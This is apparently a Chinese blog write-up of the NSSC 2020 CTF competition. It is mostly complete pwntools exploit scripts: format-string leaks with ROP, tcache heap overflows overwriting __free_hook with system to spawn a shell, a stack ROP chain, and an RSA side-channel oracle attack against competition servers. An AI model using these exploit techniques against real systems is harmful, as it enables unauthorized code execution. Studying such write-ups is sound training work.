2020年全国电信和互联网行业网络安全管理职业技能竞赛

First Post:

Last Update:

Word Count:
2.8k

Read Time:
16 min

NSSC 2020 CTF WP [2020年全国电信和互联网行业网络安全管理职业技能竞赛(第九届)]

Trials competition

这次比赛表现得不是很好,题目不是很难,也怪自己没把握住时间,第三道比赛刚结束就打通了。。。这次名次为10,应该进线下了,下次好好加油!

本次比赛排名如下:

img

pwn1[Echo]

通过利用字符串漏洞泄漏libc基地址, elf基地址, 修改 _IO_FILE struct,然后打入stack 中的 &main ret构造rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'Echo'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'
# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)
# remote server ip and port
server_ip = "121.36.216.253"
server_port = 10001
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
#leak elf
sla('>>', '2')
sla(':', '7')
sl('%20$p')
ru('0x')
elf_base = int(r(12), 16) - (0x562a00b85150- 0x562a00b84000 )
li('elf_base: ' + hex(elf_base))
pop_rdi = elf_base + 0x11b3

sla('>>', '2')
sla(':', '7')
sl('%21$p')
ru('0x')
libc_base = int(r(12), 16) - libc.sym['__libc_start_main'] - 240
li('libc_base: ' + hex(libc_base))
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + 0x18ce17
sla('>>', '2')
sla(':', '7')
sl('%23$p')
ru('0x')
stack_ret = int(r(12), 16) - 0xe0
li('stack_ret: ' + hex(stack_ret))
_IO_2_1_stdin_ = libc_base + libc.sym['_IO_2_1_stdin_']
_IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7
li('_IO_buf_base: ' + hex(_IO_buf_base))
sla('>>', str(1))
p = p64(_IO_buf_base)
sl(p)
sla('>>', str(2))
sla(':', str(7))
#sl('%16$p')
s('%16$hhn')
p = p64(_IO_2_1_stdin_ + 0x83) * 3
p += p64(stack_ret) + p64(stack_ret + 0x8 * 3)
sla('>>', str(2))
sa(':', p) #length:
sl('')
for i in range(0, len(p) - 1):
sla('>>', str(2))
sla(':', ',')
sl(' ')
sla('>>', str(2))
p = p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
sla(':', p) #length:
sl('')
#db()
sla('>>', str(3))
def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env= {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

flag{0HOk4cUYpmi6tVAjQSR5zdZRHPSnpeeW}

pwn2 [noteplus]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ( v6 <= 0xF )
{
if ( p_addr[v6] )
{
std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "Content: ", 9LL);
addr = p_addr[v0];
size = p_size[v0];
if ( size != 8 )
{
buf = (_BYTE *)(addr + 8);
v4 = (_BYTE *)(size + addr);
do
{
read(0, buf, 1uLL);
if ( *buf == 10 )
break;
++buf; //vul
}
while ( v4 != buf );
}
}
}

若开辟大小为0, 则可造成堆溢出, 修改tcahe bin fd,实现任意地址开辟,修改free_hook为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "121.36.245.213"
server_port = 23333

# if local debug
LOCAL = 0
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(i, size):
sla('Your choice:', '1')
sla(':', str(i))
sla(':', str(size))

def rm(i):
sla(':', '2')
sla(':', str(i))

def md(i, d):
sla(':', '3')
sla(':', str(i))
sla(':', d)

def dp(i):
sla(':', '4')
sla(':', str(i))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0, 0)
ad(1, 0x100)
ad(2, 0xf0)
ad(3, 0xf0)
ad(4, 0xf0)
ad(5, 0xf0)
ad(6, 0x100)
ad(7, 0x60)
p = p64(0) + p64(0)
p += p64(0x511)
md(0x0, p)
rm(1)
ad(1, 0x80)
dp(1)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
li('leak: ' + hex(leak))
main_arena = 0x3afc40 #local
main_arena = 0x3ebc40
libc_base = leak - main_arena - 0x430 - 96
free_hook = libc_base + libc.sym['__free_hook']
li('libc_base: ' + hex(libc_base))
rm(1)
p = p64(0) + p64(0)
p += p64(0x91)
p += p64(free_hook - 8)
md(0x0, p)
ad(1, 0x80)
md(1, 'B' * 28)
ad(8, 0x80) # malloc to free_hook
md(8, p64(libc_base + libc.sym['system']))
p = p64(0) + p64(0)
p += p64(0x91)
p += b'/bin/sh\x00'
md(0, p)
db()
rm(1)

def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

flag{ovgwkjRhB0EDgSHvp7ihCGPiRqHGAfUI}

pwn3 [youchat]

当时网络有点差,比赛结束几分钟刚好打通远程,都怪没有看到update功能。。。

这个漏洞在添加用户后,logout用户时,会释放当前内存地址-0x10,若控制好 addr-0x10处的大小,即可控制堆重叠,修改tcache fd为free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)
# remote server ip and port
server_ip = "124.70.158.59"
server_port = 30023
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io
def add(idx, i, d, d2):
sla('Your choice:', '1')
sla(':', str(idx))
sla(':', str(i))
sa(':', d)
sla(':', d2)
def logout(i):
sla('Your choice:', '2')
sla(':', str(i))
def update(i, n):
sla('Your choice:', '3')
sla(':', str(i))
sla(':', n)
def view(i):
sla('Your choice:', '4')
sla(':', str(i))
def chat():
sla('Your choice:', '4')
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
add(0, 0x81, b'A' * 0x58 + p64(0x4B1), b'C' * 0x10)
add(1, 0x81, b'B' * 0x1, 'B' * 0x10)
add(2, 0x81, 'C' * 0x1, 'D' * 0x10)
add(3, 0x81, '/bin/sh\x00' * 0x1, 'E' * 0x10)
add(4, 0x81, 'E' * 0x1, 'F' * 0x10)
add(5, 0x81, 'F' * 0x1, 'G' * 0x10)
add(6, 0x81, '/bin/sh\x00' * 0x1, 'H' * 0x10)
add(7, 0x80, 'H' * 0x70, 'B' * 0x10)

logout(1)
add(8, 0x81, b'B' * 0x1, 'B' * 0x10)
view(8)

leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
main_arena = 0x3afc40 # local
main_arena = 0x3ebc40 # local
libc_base = leak - main_arena - 0x3a2 - 96
free_hook = libc_base + libc.sym['__free_hook']
sh_str = libc_base + 0x1b40fa
li('libc_base: ' + hex(libc_base))

add(9, 0x40, b'O' * 0x28 + p64(0x41) + p64(0) + p64(0x91), '')
logout(2)
add(10, 0x30, b'G' * 0x10 + p64(free_hook) + p64(free_hook), p64(free_hook))

add(11, 0x81, 'F' * 0x1, 'G' * 0x10)

add(12, 0x81, p64(libc_base + libc.sym['system']), b'G' * 0x8 + p64(0x91))

add(1, 0x81, '/bin/sh\x00' + 'A' * 0x10, 'G' * 0x10)
update(1, '/bin/sh\x00')
#db()
logout(1)
def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

flag{KNT5Z3gX6H9Honi5CH18kYHutIp7E8LD}

Crypto3 [crypto_lp]

rsa侧信道攻击

该exp与是happi0师傅合作编写的,两个合作搞了半天,打通后,只打印flag前面部分,后面的数全为空,原因是没有整除查找,输出的是浮点类型的数。。。后面happi0师傅找到了原因并且打通了^_^,自己不懂,先贴着。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python

from pwn import *
import os
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm


r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)


def get(scret, c):
sl('o')
sl(str(scret))
sl(str(c))
ru('>')
cd = int(ru('\n'), 10)
#li('cd: ' + str(c))
return cd


#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ru('\n')
n = int(ru('\n'),10)
nn = int(ru('\n'),10)
C = int(ru('\n'),10)

li('n: ' + str(n))
li('nn: ' + str(nn))
li('c ' + str(c))

sl('l')
ru('>')
tmp1 = int(ru('\n'),10)
li('tmp1 ' + str(tmp1))

sl('p')
sl(str(tmp1 + n))
ru('>')
scret = int(ru('\n'),10)

l = 0
r = nn
i = 0;
while(l != r):
C = C * pow(2, 65537, nn) % nn
ret = get(scret, C)
li('times:' + str(i) +' ret: ' + str(ret))
if(ret == 0):
r = (l + r) // 2
else:
l = (l + r) // 2
i += 1
l = int(l)
l1 = l - 1
l2 = l + 1
li('GET FLAG:\n' + str(l))
li('flag: ' + str(l))
li(b'flag: ' + long_to_bytes(l))
li(b'flag: ' + long_to_bytes(l1))
li(b'flag: ' + long_to_bytes(l2))

def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':
io = remote('119.3.152.203', 7001)

exploit()
finish()

Final competition

Individual Jeopardy

pwn2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
server_ip = "10.10.21.11"

server_port = 10002

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(d):
sla('exit', '1')
sla(':', d)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad('song')
ad('jump')
ad('rap')
ad('NBA')
sla('exit', '4')
pop_rdi = 0x400c73
p = b'A' * 0x10
p += p64(0)
p += p64(pop_rdi)
p += p64(elf.got['puts'])
p += p64(elf.plt['puts'])
p += p64(0x4008B6)
sl(p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['puts']
li('libc_base: ' + hex(libc_base))
sla('exit', '4')
p = b'A' * 0x10
p += p64(0)
p += p64(pop_rdi)
p += p64(libc_base + 0x18ce17)
p += p64(libc_base + libc.sym['system'])
sl(p)

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
#io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

打赏点小钱
支付宝 | Alipay
微信 | WeChat